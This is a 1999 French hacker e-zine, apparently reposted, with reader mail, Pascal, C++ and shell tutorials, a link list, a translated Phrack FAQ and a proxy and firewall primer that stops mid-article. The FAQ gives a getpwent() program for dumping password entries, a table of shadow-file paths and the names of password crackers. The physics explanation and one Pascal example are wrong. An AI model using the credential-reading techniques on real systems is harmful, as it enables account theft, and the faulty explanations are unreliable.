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3D13 Issue 03

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Published in 
3D13
 · 27 Jan 2021
1

3D13 - numero 3
TROIS DES TREIZE
3d13@usa.net
ICQ#38328109

 -------------------------------------------------- 
Samedi 10 Juillet 1999
ISSUE #3
--------------------------------------------------

INTROUDUCTION :

C'est partit pour un numero 3, cette fois, il est big, vous en aurez pour votre argent (pour le telechargement :-)
Nous allons aborder plein de sujets, toujours creatifs, nous sommes prets a vous reveler quelques "secrets" sur des failles reseau.
Aussi, Clad Strafe, un hacker qui a fait quelques trucs interessants m'a envoye quelque uns de ses articles pratiques qui sont deja parus dans 2020hack, je les ai donc judicieusement places pour ce numero, c'est vrai que cela peut donner l'impression de deja vu, mais bon, c'est tellement utile que si vous connaissez pas ces techniques sur le bout des doigts, vous aurez du mal a progresser car il s'agit de la base.
Si vous n'avez pas 3D13_01 ou 02, telechargez le a l'adresse www.madchat.org ou http://cybz.virtualave.net
Enfin, ce numero n'est pas le dernier, loin de la, mais comme je suis en train d'ecrire un hacker handbook et un unix handbook, j'ai pas mal de boulot, donc le prochain, si vous voulez qu'il sorte plus rapidement, ecrivez des articles car j'aurais pas le temps de le faire, tant que vos texte sont pas lame, c'est bon.
JE RECHERCHE ACTIVEMENT DES PHREAKERS ET DES CHIMISTES

DISCLAMER :

Depuis que j'ai engage d'autres auteurs, je me doit d'en faire un...
Tout ce que vous lisez n'a qu'un but : celui de l'information, juste pour votre culture, ne le faites pas, c'est pas bien de le faire et vous serez puni au coin (a l'ombre :-( ), donc, tout ce que je raconte en dessous, c'est parce que j'invente des trucs, et il parait que ca marche, mais je n'ais jamais essaye, je vous dis des trucs, qui peuvent marcher, je vous raconte des bobards et n'y croyez pas car c'est pas vrai du tout et ca marche pas.
donc, ce qu'il faut retenir dans ce baratin : ce magazine est hors-la-loi uniquement si il est lu, alors le lisez pas. J'ecrit ce zine car je veux laisser une trace de moi dans 1000 ans (meme une toute petite) et jamais je ne fait ou n'utilise pas ce que je dit, je suis un menteur et les autres auteurs sont aussi des menteurs et faut pas nous punir si ce que l'on dit marche, mais on savait pas... (quoi que... il parait que nul n'est cense ignorer la loi...) Mon url sera bientot disponible, vous pourrez trouver un compilateur pascal fonctionnant sous dos (turbo pascal 7) pour ceux qui me l'ont demande, en attendant, vous pouvez trouver deux compilateurs sur www.linuxapps.com.

A TOUS LES NEUNEUS :

Ceux qui recoivent un mail de moi, et qui se disent : "Tiens, pourquoi il y a ecrit "FROM : Lucie Fabien (3d13@usa.net)" !!", eh ben NON NON NON ET NON, c'est pas comme ca que je m'appelle, mais ca fait au moins parler les curieux

------------------------------------------------------------------------------
Les definitions du jour :
ANARCHISTE = Partisant de l'anarchisme
ANARCHISME = Doctrine politique qui preconise la suppression de l'Etat et de toute contrainte sociale sur l'individu
ANARCHIE =

  1. Anarchisme.
  2. Etat de trouble, de desordre du a l'absence d'autorite politique, a la carence des lois.
  3. Etat de confusion generale

source : mon petit larousse
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SOMMAIRE

             ¯--------------------------------|----------------¯ 
| ARTICLE | AUTEUR |
¯--------------------------------|----------------¯
1...........| Votre courrier | VOUS |
2...........| Turbo Pascal (partie 3) | 3D13 |
3...........| Initiation au C++ | Lefty |
4...........| Les bonnes planques du WEB | 3D13 |
5...........| Unix, le shell | 3D13 |
6...........| /etc/passwd |phrack magazine |
7...........| Explication rapide de E=MC2 | 3D13 |
8...........| Les proxys et les fire-walls | Clad Strife |
9...........| Organisez vos reunions de hack | 3D13 |
10..........| Cracker son password BIOS par | |
| MS-DOS | Clad Strife |
11..........| Le FTP sous MS-DOS | Clad Strife |
12..........| Anarchie | 3D13 |
13..........| Ecrivez-vous en LAN | 3D13 |
14..........| Montez votre PC | 3D13 |
15..........| Un exemple pratique | Clad Strife |
| | & 3D13 |
16..........| Faille Windows | 3D13 |
17..........| Hackez des routeurs par telnet | Clad Strife |
18..........| Envoyez des mails anonymes par | |
| telnet | Clad Strife |
19..........| Le scan du moment | 3D13 |
20..........| Mail-boom:soyez intelligent | 3D13 |
21..........| LINUX:Pratique (partie 1) | 3D13 |
22..........| Liste des livres interressants | Hitchy & 3D13 |
23..........| Prenez les commandes d'un | |
| supermarche | Hitchy |
24..........| LINUX:Pourquoi il l'installer? | 3D13 |
25..........| Le mot 2 la faim | 3D13 |
¯--------------------------------|----------------¯


LES AUTEURS :

3D13 = 3d13@usa.net www.jesaitpasencorequelleurljevaisavoiretsijefaitunsite.gov

Hitchy = hitchy89@hotmail.com www.ilenapasmaispeutetreilenauraunedurl.com

Clad Strife = clad_strife@hotmail.com www.ilenauraunebientotalorsjevousladonneraislorsduprochainumero

Lefty = ecrivez moi et je lui transmettrais vos e-mails, mettez bien alors dans le Subject : "Lefty" et il vous repondra.

 ------------------------------------------------------------------------------ 
*1************************** Votre courrier **********************************
--------------------------------| VOUS |--------------------------------------


N 1 :

Salut,
J'ai eu cette semaine ton mag entre les doigts. C'est pas mal du tout encore un peu brumeux pour un newbie comme moi mais bon je m'y attele... Arf...
Sinon un commentaire si tu me permet...(t'en fait ce ke tu veux)

  • Surtout, reste aussi clair que tu es... Ne complique pas. Tu es très bien comme ca.
  • D'autre part (je ne sais pas si tu vas bien le prendre...Hic !...) évite le plus possible les fotes d'ortograf.
  • Ensuite. Peut-on s'abonner ? Et comment ? Envoi sur E-mail ? Ou il faut aller kelke part ?
  • Pour finir. Je ne sais pas si je vais pas dire une grosse bétise mais bon je me lance... Ce seras intéressant si tu avais un rubrique pour Vendre/Acheter/Echanger des progs et SURTOUT du matos car c'est difficile de progresser sans matériels puissants !!!


REPONSE :
Merci, ca fait plaisir de savoir qu'on est lu, je vais repondre un a un a tous tes commentaires :

  • Je penses etre clair dans mon texte car beaucoup de personnes m'on fait la remarque, je vais tout faire pour le rester mais comme maintenant je ne suis plus le seul auteur de cet e-zine, tous les articles ne seront pas forcement faits par moi, je ne serais plus maitre de leur clarte, plaignez vous aupres de l'auteur lui meme si vous etes pas content. Pour ce qui est des fotes d'ortograf, j'evite d'en faire mais... je suis pas un professeur de lettres appliquees donc, j'en fait toujours quelques unes, mais si tu veux, tu peux les corriger pour toi, pour ton propre plaisir.
  • Tu peux t'abonner, envoie moi ton adresse postale, ton numero de telephone, ton adresse IP fixe et tu recevra, pour toi et chez toi, quelques V..iperes, en fait, cet e-zine est distribue (pour l'instant) sur les deux adresses : www.madchat.org ou cybz.virtualave.net, si tu as un site, tu peux placer mon e-zine dans une de tes rubriques, et dis moi le nom de ton site, pour que je puisse aller y faire un tour et peux etre placer un lien de ma page(en construction) vers ta page.
  • Bien sur, je vais tout de suite faire cette rubrique : avis a tous les lecteurs, envoyez moi toutes vos coordonnees et l'objet que vous recherchez et voulez vendre, et faites vous pieger par les V. non, soyons serieux, on peux pas faire de l'echange/achat/vente dans cet e-zine, il existe les puces informatiques, tres complet, 10 F chez votre marchand de journaux.


N 2 :

Salut,
J'aimerrais que tu me donne l'adresse de ton site pour que je puisse telecharger le programme de programmation "Pascal Turbo". Tes articles sont tres bien faits.
A+

REPONSE :
Je n'ai pas encore de site, ca arrive, lentement mais ca arrive, car je prefere pour l'instant faire place au redactionnel, je suis en train d'ecrire un Unix Handbook, en francais et un Hacker handbook, reserve aux personnes qui savent pas par ou commencer, et quelques exemples pratiques, j'essayerais de rester clair et complet. Je fait beaucoup de trucs en ce moment, mais mon site sera mis en place avant Septembre...patience.
Are u English? 'cause it's not "Pascal Turbo" but "Turbo Pascal". tu trouveras le compilateur sur mon site quand je l'aurais fait. So, wait a moment...

 ------------------------------------------------------------------------------ 
*2*********************** Turbo Pascal (partie 3) ****************************
----------------------------------| 3D13 |------------------------------------


Tous les cours qui ont precedes ne vous ont pas vraiment expliquer la syntaxe, nature du langage parce que l'on peut trouver toutes ces informations dans des bouquins, mais, comme il s'agit du langage Pascal, plus trop de livres lui sont consacre alors je vais attaquer ici la partie theorique du langage, qui est tout de meme assez longue puis, dans le prochain numero, la partie plus pratique avec entre autre la programmation de graphiques, nous verrons apres la programmation d'un petit jeu sans pretention, si vous avez des idees la dessus, envoyez moi un e-mail.

1°) MOTS RESERVES :
Les mots reserves ne peuvent pas etre redefinis.
Ils ne font pas la difference minuscules/majuscules.
Voici la liste des mots reserves:

 absolute		and		array		asm 
assembler begin case const
constructor destructor div do
downto else end export
exports external file far
for forward function goto
if implementation in index
inherited inline interface interrupt
label library mod name
near nil not object
of or packed private
procedure program public record
repeat resident set shl
shr string then to
type unit until uses
var virtual while with
xor


2°) LES COMMENTAIRES :
Ce sont des informations, annotions, textes qui sont igonres par le compilateur et premettent simplement de renseigner le programmeur.
Les commentaires sont mis entre accolades { et }, ou entre parentheses et asterisques (* et *). On ne doit pas melanger les deux symboles, { *) est interdit.
exemples :

 { il est beau mon commantaire } 
(* non, celui ci il est plus beau que l'autre *)


il existe aussi, les directives de compilation, qu'il ne faut pas confondre avec les commentaires, leur signe distinctif est qu'elles comencent par $, par exemple, {$I-} est une directive de compilation que nous verrons forcement au cours des numeros, qui permet d'indiquer au compilateur d'ignorer les erreurs.


3°) LES IDENTIFICATEURS :
Comme un exemple vaut mieux qu'un long discours, voici :

  • a. identificateurs corrects
    • lire_papier
    • ABasLesV
    • Henri
    • Martin_Duval
    • Un_2_3

  • b. identificateurs incorrects
    • 1_Appel { commence par un chiffre }
    • Jean-Marc { tiret interdit }

aussi, toutes les lettres accentuees sont interdites et n'utilisez pas les mots reserves au pascal, si besoin est, consultez la liste dessus.


4°) LES CONSTANTES
Il s'agit d'element qui ne chagerons jamais au cours de votre programme, vous ferez appel a ces constantes et si vous avez besoin de les modifier, vous les modifierez qu'a un endroit dans tout votre programme, par exemple, deux constantes connues :

  • Pi : 3.14
  • Euro : 6.52

c'est sur que Pi, on auras jamais besoin de le changer, mais Euro, si la valeur de l'Euro change, il faudra juste modifier cet endroit et tout le programme sera change quand on fera appel a cette valeur.
Les constantes sont declares au tout debut du programme, vous pouvez regarder le schema du corps d'un programme pascal dans la partie juste en dessous de celle-ci, le 5∞).
je vais vous donner en exemple, un petit programme qui vous affichera votre constante :
PROGRAM Constantes;

  { (C) 3d13 1999 } 
CONST Euro=6.52;
VAR Francs : Integer;
BEGIN
WriteLn('Entrez la somme en F a convertir en E :');
ReadLn(Francs);
Writeln('Cela fait ',Francs div Euro,' Euros');
END.


C'est tout pour aujourd'hui, la suite au prochain numero, on continue pour le prochain la fin de la theorie et apres, la pratique.
Pour terminer je voudrais vous dire de bien connaitre tout ceci car c'est le B.A.BA du language, on a encore rien vu.
Ah, un truc je j'ai failli oublier de vous dire : si vous souhaitez ecrire le mot "aujourd'hui", ecrivez WriteLn('aujourd''hui');.

 ------------------------------------------------------------------------------ 
*3************************** Initiation au C++ *******************************
---------------------------------| Lefty |------------------------------------


Je n'ai ici la pretention que de vous enseigner la base, celle qui vous permettra, avec un peu d'implication personnelle, de vous faire parvenir a des resultats tres satisfaisants. Les chapitres developpes seront :

  • ORGANISATION D'UN PROGRAMME SIMPLE
  • FONCTION, APPEL DE FONCTION


ORGANISATION D'UN PROGRAMME SIMPLE
Un programme, c'est evident, manipule des données. Voici les principaux types
de donnée :

  • int : nombres entiers compris entre -32768 et 32767
  • float : nombre ‡ virgule
  • void : valeur d'aucun type
  • char : caractere (lettre,...)
  • enum : enumeration (exemple enum jour(lundi,mardi,mercredi) la valeur initiale par default est zero, celles qui suivent augmentent de 1)


Remarque : pour les types int et float, on peut faire preceder "long", qui augmente l'intervalle des valeur. De plus, il faut toujours commencer ses programmes par un ou plusieurs fichiers d'en-tete, qui vous permettront de lire certaines instructions. Le fichier d'en-tete de base est <iostream.h> (.h ou .hpp sont les extensions caracteristiques des fichiers d'en-tete). Tout programme commencera donc par : #include <iostream.h> Le programme doit aussi contenir une fonction principale, la fonction "main". Mais qu'est ce qu'une fonction ? C'est une declaration, en l'occurrence main( ) ou void main( ) suivi d'un bloc contenant une suite d'instruction (un ; devant succeder a chaque instruction). Tout le programme s'organise autour de la fonction main. Les déclarations sont de cette forme : type nom (parametres). Le type est le type de valeur renvoye par la fonction, un des types vu plus haut. Le type par defaut est int. Le nom, c'est vous qui l'attribuez, sauf dans le cas de la fonction principale qui s'appellera toujours main. Les parametres sont les valeurs qui seront transmises a la fonction, leur type doit etre preciser. La fonction main ne recoit jamais aucun parametre.
Voila donc un programme simple :

 #include <iostream.h> 
main( )
{cout<<"bonjour tout le monde";
return 0;}

On a commence par inclure le fichier d'en-tete, puis par declarer la fonction principale. Aucun type n'ayant ete precise, elle est de type int. Voila pourquoi elle renvoie 0, une valeur de type int par l'instruction return 0. L'instruction cout<< permet d'afficher un resultat, ou des caracteres, c'est un operateur de sortie. L'operateur d'entree est cin>> exemple: cin>>A on attribuera la valeur entree par l'utilisateur a A. Il faudra absolument veiller a ce que le type de la valeur qui sera entrée sera compatible avec le type de A, sinon, ca va tout faire foirer. Il aurait aussi fallu declarer A auparavant, par une instruction du genre : int a ; sous peine de voire apparaitre un message d'erreur lors de la compilation.

FONCTION, APPEL DE FONCTION
se limiter ‡ la fonction main va un moment, pas plus. Le besoin d'en creer d'autres, pour se décharger un petit peu, se fait vite ressentir. Si vous en utilisez d'autres, vous devez en prevenir le compilateur au début, juste apres l'inclusion du fichier d'en-tete, de cette façon : type nom (parametres) ; Par exemple, si vous creez une fonction addition qui additionnera deux nombres, vous devrez indiquer au debut : int addition (int, int) ; Plus tard dans le programme, vous creerez la fonctionne elle-meme, qui sera : int addition (int a, int b) {int addition=a+b; return addition;} Mais voyons ca par la pratique, par une petite application qui additionnerait deux nombres par un appel de fonction :

 #include <iostream.h> 
int addition (int, int) ;
void main( )
{int a,b,c ;
cout<<"entrez un nombre"<<'\n' ;
cin>>a ;
cout<<"entrez un deuxième nombre"<<'\n' ;
cin>>b ;
c=addition(a, b);
cout<<"la somme des deux vaut : "<<c;
return ;}
int addition (int x, int y)
{int addition =x+y ;
return addition ;}


Ce programme est relativement simple : on déclare trois parametres de type int a la suite, on attribue une valeur aux deux premier, le troisieme est leur somme, puis on en affiche le resultat. deux choses sont remarquables dans ce programme :

  • le type de la fonction main, et donc de la valeur qu'elle renvoie. On peut remarquer qu'elle ne retourne rien comme valeur, voila donc un apercu de ce que peut etre le type void.
  • l'appel a la fonction addition dans la fonction main par l'instruction c=addition(a, b) ; on transmettra donc les valeur a et b pour les valeurs x et y dans la fonction addition qui les additionnera puis en retournera le resultat, qui sera attribue a c. Voila ce qu'est un appel de fonction.

En prevision pour 3d13#4 :

  • NOTIONS DE BASE SUR LES POINTEURS ET LES ALIAS
  • NOTIONS DE BASE SUR LES CLASSES


 ------------------------------------------------------------------------------ 
*4********************** Les bonnes planques du web **************************
----------------------------------| 3D13 |------------------------------------


Voici une liste d'adresses que j'avais note sur un bout de papier que j'ai rassemble ici, pour vous bande de veinards :

www.genocide2600.com/~tattooman
> Un mine d'informations qui seront aussi utiles pour l'administrateur que pour le cracker.

www.kde.org
> Suivez le developement en cours de KDE, une interface pour Linux

www.cyberpapy.com
> Discutez en live-chat avec des vieux, mais parfois il y a des jeunes

www.kevinmitnick.com
> Pour avoir plein d'information sur cette legende qu'est le Condor

www.ardi.com
> Mac OS 6.07, tenant sur deux disks, pour windows, il s'agit du programme Executor.

www.multimania.com/cd13h
> Le scan des numeros 08009xxxxx

01 40 57 57 57 ou 01 40 57 66 34
> Demandez a parler a Bernard Condat, bienvenue chez les V! (D.S.T.)

www.audiogalaxy.com
> Un site de recherche mp3, mieux de mp3.box.sk

www.insecure.org/nmap
> telechargez nmap

www.confine.com
> Site de hackers

www.aful.org
> Association Franaise des utilisateurs de logiciels libres

(http://)rufus.w3.org/linux/RPM
> Pour trouver des softs en RPM


 ------------------------------------------------------------------------------ 
*5*************************** Unix, le shell *********************************
----------------------------------| 3D13 |------------------------------------


Il existe plusieurs shells sous Unix/Linux, choisissez le votre mais celui par defaut est bash (Bourne Again SHell) donc, je part du principe que vous etes sous celui-ci.
Le shell a toutes les caracteristiques d'un langage moderne de programmation.
Les commandes pourront etre regroupees sous forme de scripts et elle pouront faire appel a :

  • des variables
  • des operations (modification des contenus de variables)
  • des controles de structure (tests decisionnels et boucles)

Pour ceux qui viennent du monde de M$-DOS, imaginez donc que cette rubrique aurait pu s'appeller "les fichiers batch sous MS-DOS", mais comme on est sous Unix et que il y a un shell que l'on programme comme un fichier batch, j'ai preferer l'appeller comme ca. Ne comparez pas les fichiers batch avec la programmation du shell sous unix, cela reviendrait a comparer le langage basic avec le c++.
Il y a plusieurs types de variables acceptees :

  • Variables definies par l'utilisateur
  • Variables predefinies par le systeme
  • Variables speciales

Pour ce qui est des sorties, utilisez la commande echo et pour les lectures, utilisez la commande read.
Au sein de groupe des controles de structure, distinction est faite entre les decisions et les boucles. En ce qui concerne les decisions, il s'agit plus particulierement :

  • des decisions simples fondees sur if
  • des decisions multiples fondees sur case

Les premieres lignes de tout script devraient mentionner le nom du programmeur ainsi que le role de ce script. Sinon, vous oublierez tres rapidement le but poursuivi au moment de la creation de ce script.

exemple :

 [root@localhost /]# cat Exemple1 
# Il est possible de placer des commentaires dans les scripts
# Les lignes de commentaires commencent par le signe #
# Tout ce qui suit le signe # sera ignore par le shell
# Un signe # peut aussi etre place en milieu de ligne
pwd # Ou sommes nous ?
who # Qui est encore la ?
ls # Que se passe t-il ?
# Fin du script
[root@localhost /]#


Si vous voulez ecrire du texte a l'ecran, il faudra utiliser une commande de sortie, il s'agit de : echo
Il est possible d'inserer des caracteres speciaux au sein de votre texte :

 |-------------------|-------------------------------------------------------| 
| Caractere special | Effet |
|-------------------|-------------------------------------------------------|
| \n | Saut de ligne |
| \b | Retour arriere |
| \t | Marque de tabulation |
| \c | Fin de la sortie et annulation du saut de ligne |
| \\ | Place le caractere \ au sein de votre texte |
| \0n | Indication d'un nombre en base 8 sur une, deux ou |
| | trois positions, pour sortie de caracteres speciaux |
|-------------------|-------------------------------------------------------|

Pour eviter que le shell n'interprete le backslash et permette a la commande echo de le traiter, vous placerez les parametres entre guillemets. La commande

 echo "Tomates|nCornichons" 

affiche le texte "Tomates" dans la premiere ligne et le texte "Cornichons" dans la ligne suivante. La sortie se termine par un saut de ligne et le prompt reaparrait sur la troisieme ligne.

 echo "Saisie:\c" 

cette commande affiche le texte "Saisie:". Le shell presente son prompt directement derriere le texte "Saisie:", car le saut de ligne a ete annule par le parametre \c.
A l'aide de nombres de base 8, vous pourrez placer divers caracteres speciaux dans les parametres. Ainsi, dans la commande suivante, le texte et maintenant un bip sera affiche et suivi d'un bip sonore :

 echo "et maintenant un bip\007" 

La commande echo est egalement utilisee en collaboration avec des variables du shell. Le prochain paragraphe vous en apprendra plus sur le sujet.

Les shell vous offre la possibilite de travailler avec des variables. Aussi, repecter la regle des identificateurs, enoncee dans mla troisieme partie dans
l'apprentissage de turbo pascal.
Souvenez vous, il existe trois types de variables :

  • Variables definies par l'utilisateur
  • Variables predefinies par le systeme
  • Variables speciales

Les deux premiers types de variables sont tres facilement modifiables quant a leur contenu. Par contre, vous ne pourrez acceder au dernier type, les variables speciales qu'en lecture.

* Les variables definies par l'utilisateur
Relisez bien la regle des identificateurs pour le langage Turbo Pascal citee au-dessus.
Pour declarer une variable, on lui affecte une valeur :

 a=Tomates 

Bien sur, la variable est a. Mais n'oubliez pas que lorsque vous ferez appel a celle-ci, repectez les minuscules/majuscules car a est different de A. Pour acceder au contenu des variables du shell, vous placerez devant le nom de la variables le signe $, par exemple :

 [root@localhost /]# $PATH 

et vous verrez la liste des repertoires incrits pour l'acces direct au path.
exemples :

 [root@localhost /]# a=/u/hugo 
[root@localhost /]# cd /
[root@localhost /]# pwd
/
[root@localhost /]# ls $a
/u/hugo/Adresses
/u/hugo/Legume
/u/hugo/Legume2
/u/hugo/Mon_second
/u/hugo/abraham
/u/hugo/bebraham
/u/hugo/jacques
/u/hugo/mon_premier
/u/hugo/zebraham
[root@localhost /]# cd $a
[root@localhost /]# pwd
/u/hugo
[root@localhost /]# echo La variable contient $a
La variable contient /u/hugo
[root@localhost /]# cd /tmp
[root@localhost /]# cd $a/mon_premier
[root@localhost /]# pwd
/u/hugo/mon_premier
[root@localhost /]#


aussi, l'espace est prit comme un caractere special, voici 3 fois la meme chose sous des formes differentes :

 a="Voici de belles tomates" 
a='Voici de belles tomates'
a=Voici\ de\ belles\ tomates


Maintenant, supposons qu'il existe une variable contenant la chaine de caracteres "Tomates", on pourrait ecrire :

 [root@localhost /]# b="Ce sont des $a vertes" 
[root@localhost /]# echo $b

Ce sont des Tomates vertes

Pour les deux signes de verouillage " et ', il est a noter qu'ils se verouillent mutuellement. Dans un texte place entre des guillemets, vous pourrez utiliser librement les apostrophes et inversement :

 c="C'est ainsi" 
d='dit-il: "et le reste n'est que foutaise..."'


Pour supprimmer un variable, utilisez la commande unset, par exemple, pour supprimmer toutes les variables precentes, tapez :

 [root@localhost /]# unset a 
[root@localhost /]# unset b
[root@localhost /]# unset c
[root@localhost /]# unset d


Pour proteger vos variables en ecriture, utilisez la commande readonly

 [root@localhost /]# a="Vive le camembert!" 
[root@localhost /]# readonly a
[root@localhost /]# unset a

a: is read only

maintenant, tapez, en ligne de commande ceci :

 [root@localhost /]# a="suite" 
[root@localhost /]# b="c'est tout "
[root@localhost /]# c="aujourdh'ui, "
[root@localhost /]# d="la prochaine"
[root@localhost /]# e="pour "
[root@localhost /]# f="a "
[root@localhost /]# echo $b$e$c$f$d


 ------------------------------------------------------------------------------ 
*6**************************** /etc/passwd ***********************************
----------------------------| phrack magazine |-------------------------------


Il s'agit d'une F.A.Q. tiree d'un phrack magazine, j'ai fait simplement la traduction, mais cela permet de bien degager le flou qui peut trainer autour de ce mysterieux fichier...

01. Comment puis-je avoir acces au fichier de mot de passe sous Unix ?

Dans n'importe quel version standard d'Unix, le fichier de mot de passe est /etc/passwd. Sur d'autres systemes Unix ou dans le cas d'un password shadowing, le fichier de mot de passe (password file, c'est plus court) peut se trouver ailleurs.


02. Comment puis-je cracker des mots de passe Unix ?

Contrairement a ce que beaucoup de monde croit, les mots de passe Unix ne peuvent pas etre decryptes. Les mots de passe Unix sont encryptes avec Un seul type de fonction. Le programme de login encrypte le texte que vous tapez au prompt de "password:" et le compare avec la chaine de caractere encryptee dans le fichier de mot de passe.

Un crackeur de mots de passes Unix utilise une liste de mots. Chaque mot de la liste de mots est ecrypte et les resultats sont compares avec fichier de mot de passe cible.

Le meilleur crackeur de mots de passes Unix est pour l'instant Crack d'Alec Muffett. Pour les PC-DOS, le meilleur produit du moment est CrackerJack.

03. Qu'es-ce que le password shadowing?

Le password shadowing est un system de securite ou le mot de passe encrypte de /etc/passwd est replace avec une indication speciale et le mot de passe encrypte est place dans dans endroit separe qui n'est pas lisible avec un system normal d'utilisateurs.

Pour trouver un password shadowing sur beaucoup (mais pas tous) de systemes, ecrivez un programme qui utilise successivement des appels a getpwent() pour obtenir le fichier de mots de passes.

Exemple:

 #include <pwd.h> 
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}


04. Ou puis-je trouver le fichier de mot de passe quand il est shadowed ?

Unix Path Indication

 ----------------------------------------------------------------- 
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *

 ------------------------------------------------------------------------------ 
*7******************** Explication rapide de E=MC2 ***************************
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 Rapide, ---> 
E=Energie
M=Masse
C=Celerite, vitesse de la lumiere
E=M*(C*C)
En gros, cela veut dire que plus il y en a et plus il y en a.
Mais par exemple, si un camion roule a une certainne vitesse et que un autre camion arrive et lui rentre dedans, plus les camions vont vite et plus il y a des degats.
C'est utilise pour la physique nucleaire, E=MC≤ est une formule qui a ete trouvee par Albert Einsteing, pour la bombe nucleaire.
Elle est utilisee pour expliquer les reactions en chaine.
<--- C'etait rapide


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*8********************* Les proxys et les fire-walls *************************
-------------------------------| Clad Strife |--------------------------------


Proxys: Le serveur proxy est un moyen comme un autre de connecter tout un réseau ‡ travers une seule adresse IP. De plus un proxy est un moyen de securité assez puissant, vu que un serveur proxy peut autoriser une connexion internet vers "l'exterieur" pour le reseau mais peut interdire une connexion "exterieure" via le proxy vers le réseau. Un proxy mets aussi en place ce que l'on appelle une mise en cache des pages visitées, ce qui revient ‡ dire qu'en retournant sur la page visitee, la mise en cache s'execute et vous voyez la page de la mise en cache. Ainsi il n'y a aucun temps de chargement. Le probleme reste le mÍme avec ce systeme: quand on veut voir la nouvelle version d'un page web, la mise en cache s'executera et on verra l'ancienne. Il ne restera alors qu'a reload la page. Ainsi en implementant d'autres produits pour la securite le proxy peut alors devenir un "firewall" a part entiere.
Point de vue connexion on comprend bien que le proxy a 2 ou plus de cartes reseaux pour pouvoir joindre le réseau exterieur et le réseau interieur. Tout ceci pour se securiser contre les intrusions LAN. Sur certains proxys la seule IP visible sera ladresse IP du proxy lorsque le routage d'IP ne sera pas active (vous pouvez voir ca en cliquant sur Démarrer/Exécuter/winipcfg/plus d'infos/ en haut il y a coché ou non routage d'IP active, avec d'autres infos comme WINS proxy activé etc...). De plus nombreux proxys filtrent les packets (tels des firewalls), de sorte que la machine recevant les trames recoive aussi une demande de bloquage ou d'autorisation lors de la reception du packet de donnees. Un reseau interne est compose de multitudes de paires d'addresses IP: le Local Address Table - LAT. Le LAT est cree lors de l'installation du proxy pour définir les adresses internes. Prenons l'exemple concret de Microsoft: les serveurs proxy Microsoft utilisent la table de routage de windows NT pour autocreer le LAT, ce qui a pour effet de produire des erreurs. Information interessante quand on sait que les paquets IP routes via ce chemin ne seront pas soumis aux regles. Ce qui inclut donc que les sous reseaux peuvent etre dans le meme cas. Par ailleurs nous pouvons supposer qu'en editant le fichier msplat.txt qui est dans le dossier \Mspclnt de la machine proxy, nous pourrons voir le LAT. Seuls les utilisateurs du réseau interne peuvent y établir une connection et ainsi modifier la LAT.


Firewalls (with the help of Tobozo):Un firewall permet de renforcer le dispositif de securite mis en place sur un systeme ‡ l'aide de plusieurs options selectionnees par le niveau de securite selon la sensibilitee des donnees a proteger. Donc en realite un firewall fait une selection des donnees a recevoir. Cette selection s'appelle filtrage. Le filtrage permet de determiner l'acceptation de receptions des trames dont le systeme utilisant le firewall devrait bénéficier. Il est conçu aussi pour empecher l'intrusion d'une machine "ennemie" sur la machine "amie". Donc les options du firewall permettent au firewall de savoir ce qu'il va devoir filtrer. Ces options sont les Regles de Controle d'Acces (Acces Control Policy). Les firewalls de type reseau operent au niveau des paquets IP. Ils possedent en general deux interfaces (cartes réseau), une vers le réseau "ami" et l'autre vers le réseau "ennemi". Le filtrage s'etablit par examination et comparaison des paquets sur la tabledes Regles de Controle d'Acces. Ces firewalls sont capables de filtrer un trafic composé de n'importe quelle combinaison d'IP source et destination, type de paquet ou assignement de port TCP. Normalement spécialisés comme des routeurs d'IP, ils sont rapides et efficaces et transparents a toute opération réseau. Les firewalls d'aujourd'hui deviennent de plus en plus complexes. Ils peuvent conserver des informations sur les statistiques des paquets qui les traversent, y compris certaines données. Les exemples qui sont decrits plus bas sont ceux de :

  • Bastion Host
  • Screened Host
  • Screened Subnet


Bastion Host Firewall

Communement rencontre sur les reseaux, le terme bastion refere a la structure d'un vieux chateau, principalement pour la notion du pont-levis. C'est un ordinateur avec au moins deux interfaces (cartes réseau), une vers le reseau "ami" et l'autre vers le réseau "ennemi". Quand le premier acces réseau est autorise depuis l'interieur vers la partie "ennemi" par le Bastion Host, tous les autres acces le sont également. Physiquement, les Bastion Host se place entre l'interieur et l'exterieur du reseau, sans autre intervenant. Ils sont normalement utilises comme une partie d'un autre firewall -plus grand et plus sophistique-. Les desavantages : Une fois qu'un intrus a les droits d'acces, il a un acces direct a la totalité du reseau. Ce type de protection n'est pas assez sophistique pour les applications reseau.

Screened Host Firewall

Deja plus pousse au niveau technique, ce firewall utilise un routeur intégré avec au moins deux interfaces (cartes réseau), une vers le réseau "ami" et l'autre vers un Bastion Host. Le routeur intégré sert d'intermediaire avec Bastion Host. Ainsi les paquets sont routes apres avoir ete filtres selon des regles predefinies. Ces regles peuvent decider quelles adresses IP sont autorisees ou refusees. Tous les autres examens de paquets sont effectues par les "Bastion Host". Le routeur fait baisser le traffic vers le bastion host et allege le travail en diminuant le nombre d'algorithmes a executer. Physiquement, le Screened Host est un routeur avec une connexion sur l'exterieur et une connexion vers un "Bastion Host". Le Bastion Host a une connexion avec le routeur et une connexion sur le reseau interne.
Les desavantages : S'il est seul, il peut devenir un goulot d'etranglement.
Si le systeme hote tombe, la passerelle entiere tombe avec.

Screened Subnet Firewalls

